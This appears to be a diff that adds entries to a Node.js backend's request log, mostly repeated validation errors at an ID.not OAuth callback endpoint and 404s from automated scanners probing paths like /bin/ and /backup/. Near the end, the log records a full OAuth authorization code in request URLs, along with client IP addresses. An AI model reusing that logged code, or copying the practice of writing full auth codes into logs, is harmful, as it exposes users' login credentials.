userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758640769597_l52nc9332', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T15:26:13.921Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758641173920_igoyzua5x' +} +❌ [ERROR] 2025-09-23T15:26:13.922Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758641173920_igoyzua5x', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T15:29:28.154Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758641368153_63ikx6fkn', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T15:32:44.521Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758641564520_tyglij9cy', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T15:33:04.841Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758641584841_q5ljtfdi7' +} +❌ [ERROR] 2025-09-23T15:33:04.842Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758641584841_q5ljtfdi7', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T15:39:54.827Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758641994826_3c7hlvppz' +} +❌ [ERROR] 2025-09-23T15:39:54.827Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758641994826_3c7hlvppz', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '130.131.161.148', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T15:43:32.762Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 zgrab/0.x' + }, + requestId: 'req_1758642212761_t4zvmh2yx' +} +❌ [ERROR] 2025-09-23T15:43:32.762Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 zgrab/0.x' + }, + requestId: 'req_1758642212761_t4zvmh2yx', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T15:46:46.775Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758642406774_yarxc9gqv' +} +❌ [ERROR] 2025-09-23T15:46:46.776Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758642406774_yarxc9gqv', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T15:53:44.353Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758642824353_3xvrf3191' +} +❌ [ERROR] 2025-09-23T15:53:44.355Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758642824353_3xvrf3191', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T15:58:56.194Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758643136193_pajdty6wa' +} +❌ [ERROR] 2025-09-23T15:58:56.195Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758643136193_pajdty6wa', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T15:59:13.031Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:8.220.198.177', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758643153030_nyrv8vz1s', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T15:59:42.954Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:8.220.198.177', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36' + }, + requestId: 'req_1758643182951_clnh01sen', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T16:02:00.941Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.18', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758643320940_aizpq7o7w', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T16:17:06.888Z HTTP GET /bins/ - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.18', + method: 'GET', + url: '/bins/', + userAgent: undefined + }, + requestId: 'req_1758644226886_8e461s10g', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T16:38:41.755Z HTTP GET /bin/ - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.18', + method: 'GET', + url: '/bin/', + userAgent: undefined + }, + requestId: 'req_1758645521754_dqcewy7my', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T16:44:58.268Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758645898267_xarx0yx7v', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T16:47:59.514Z HTTP GET /backup/ - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.18', + method: 'GET', + url: '/backup/', + userAgent: undefined + }, + requestId: 'req_1758646079513_s0zepuccw', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T17:00:02.899Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758646802898_rm4l4vtz7', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T17:07:38.171Z HTTP HEAD http://112.124.42.80:63435/ - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:60.191.125.35', + method: 'HEAD', + url: 'http://112.124.42.80:63435/', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36' + }, + requestId: 'req_1758647258170_dmo1kf8d2', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-23T17:13:53.299Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 59, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647633160_utzz0mi50', + response: { + statusCode: 200 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '78.241.54.161', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T17:15:07.475Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647707474_k3buyav53' +} +❌ [ERROR] 2025-09-23T17:15:07.476Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647707474_k3buyav53', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '78.241.54.161', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T17:15:12.198Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647712197_lp2yhq6ez' +} +❌ [ERROR] 2025-09-23T17:15:12.199Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647712197_lp2yhq6ez', + response: { + statusCode: 400 + } +} +ℹ️ [INFO] 2025-09-23T17:15:26.362Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 3, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647726358_59j9aco0f', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T17:17:54.882Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647874881_m5ovu25nc', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T17:17:55.177Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647875176_exgy78ksq', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T17:17:55.239Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647875237_q2u6dyyyp', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T17:17:58.309Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647878307_4jbsxih5d', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T17:17:58.311Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647878309_otmivcaso', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T17:17:58.314Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647878313_6p26bbf2q', + response: { + statusCode: 200 + 